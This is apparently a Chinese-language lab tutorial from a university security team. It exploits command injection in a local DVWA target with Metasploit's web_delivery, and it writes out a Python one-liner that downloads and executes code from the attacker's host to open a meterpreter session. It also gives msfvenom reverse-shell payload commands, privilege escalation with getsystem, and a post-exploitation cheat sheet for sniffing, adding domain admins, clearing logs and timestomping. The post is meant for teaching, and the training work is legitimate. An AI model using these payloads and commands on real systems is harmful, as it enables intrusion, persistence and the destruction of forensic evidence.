沙漏安全团队
欢迎真正热爱技术的你!
MSF攻击Windows实验:
方法一 :通过web站点,使用无文件的方式攻击利用执行
方法二:通过web站点,上传webshell, 返回给msf 方法三:攻击其他端口服务,拿到meterpreter
信息收集-Nmap端口扫描
信息收集总在前
root@kali:~# nmap -sV -T4 xxx.xxx.xxx.xxx
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:46 CST
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysq! MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:0D:E5:D0 (VMware)
Service Info: Host: LISIANTHUS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
通过扫描,得知开启了80端口,HTTP超文本协议,那么可以用浏览器来访问该IP。访问到我是在本机部署的DVWA靶场。萌新做实验,将DVWA Security等级设置为low
。
键入用户名密码进入靶场后,进入Command Injection命令注入练习,ping设备,输入ping的设备(我ping的本机),等待片刻,出信息
源码分析
在右下方有一个view source按钮,点击查看页面源码:
1 |
<?php |
其中$_REQUEST[ 'ip' ]
中的变量IP是我们输入的IP地址php_uname( 's' ), 'Windows NT' )
后台判断操作系统是否为Windows NT(即Windows操作系统)shell_exec( 'ping ' . $target )
如果是,执行ping target,
如果时Linux or Unix,执行'ping -c 4 ' . $target
,指定次数,因为Unix的ping如果不给出数值会一直ping下去。
此处查看源码发现没有对IP地址设置过滤或其他封装,此处可以搞一个命令拼接,命令执行漏洞来测试:
成功查看到主机名,命令拼接执行成功。
有关系么?
那么如何利用命令执行漏洞获得目标机器的控制权限呢?
当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时, web_delivery就派上用场。
web_delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如命令注入、远、程命令执行等问题时,攻击者可以使用web_delivery生成的一 条命令建立连接。
另外web_delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载
到内存执行,有利于绕过检测。
web_delivery支持php/ python/powershell等多种脚本,使用不同的脚本的payload时需要通过set
target 0或1或2来设置是使用php还是python还是powershell等。
web_delivery
获得msf5>
shell之后 执行use exploit/multi/script/web_delivery
使用web_delivery模块,查看配置项show options
通过查看配置项可以看到此处默认的payload是利用Python反弹tcp-shell,可以修改payload,也可以修改target,本次实验使用默认的Python,执行show targets
列出target支持对哪些目标的反弹shell:
PSH即powershell,可以简单理解为它是一个经过.NET的一个拓展的、比cmd更强大的shell,PSH可以利用.NET的漏洞库进行很多操作
set:lhost&lport
设置lhost
(攻击机的IP,也就是本机啦,但是这里不要写回环地址127.0.0.1,要写IPv4地址)
和lport
(攻击机用来监听的端口号)
对这两个参数的详细说明可以参考我的上一篇博客
RUN!!!
run跑起来
![命令执行漏洞渗透目标shell玩法 命令执行漏洞渗透目标shell玩法]()
由于上面我们一直知道DVWA的Command Injection中可以命令拼接,也就是存在命令执行漏洞,run之后的target machine给到的一个Python开头这一串东西就是用于命令注入的payload。
这里要注意一下,既然我们使用的是Python的payload那一定要这个网站机器上有Python环境,如果没有也没关系,上面的show targets
列出target中可以看到web_delivery支持好多种脚本语言。
不妨尝试一下PSH的payload,但如果是要攻击Win XP系统、2003系统,使用PSH是不行的,因为他们两个不具备power shell,这里要留意下下咯。
在自己练习中,可以去python官网下载python2级以上版本https://www.python.org/downloads/release/python-272/
msfvenom生成payload
msfvenom可以用来生成Linux的ELF文件、Windows的PE文件(.exe)、web可执行文件php和Python可执行文件.py。
linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< Target IP Address> LPORT=
windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST= < Your IP Address> LPORT=
后渗透阶段
1 |
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.2.113.13:8080/Ws25Ghl', context=ssl._create_unverified_context());exec(r.read());" |
将其复制,将原先我们手动测试是执行的127.0.0.1&&whoami
中的whoami替换为上面生成的payload。
执行,等待片刻,攻击机端发现一个请求连接的机器,编号为1(session1)
获取到 Meterpreter
可执行sysinfo
查看靶机的设备信息。
执行shell
可获得靶机的shell权限;
查看IP ,确认是否为目标靶机的信息:
最终执行getsystem通过各种攻击向量,将shell提升到系统用户权限。
后渗透阶段的常用命令总结
ls
列出目标主机的文件和文件夹信息
use priv
加载特权提升扩展模块,来扩展meterpreter库
ps
显示所有运行进程以及关联的用户账户
getsystem
通过各种攻击向量来提升到系统用户权限
shell
以所有可用令牌来运行一个交互的shell
screenshot
对目标主机的屏幕进行截图
upload file
向目标主机上传文件
download file
从目标主机下载文件
sniffer_interfaces
列出目标主机所有开放的网络接口
sniffer_dump interfaceID pcapname
在目标主机上启动嗅探
sniffer_start interfaceID packet_buffer
在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID
停止嗅探
add_user username password -h ip
在远程目标主机上添加一个用户
add_group_user “Domain Adimins”username -h ip
将用户添加到目标主机的域管理员组中
clearev
清除目标主机上的日志记录
timestomp
修改文件属性,例如修改文件的创建时间(反取证调差)
reboot
重启目标主机
平顶山学院· 沙漏安全团队
微信号|SLteam666
奋发努力|拼搏向上
本期编辑|bosounho
本文始发于微信公众号(网络安全攻防训练营):命令执行漏洞渗透目标shell玩法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论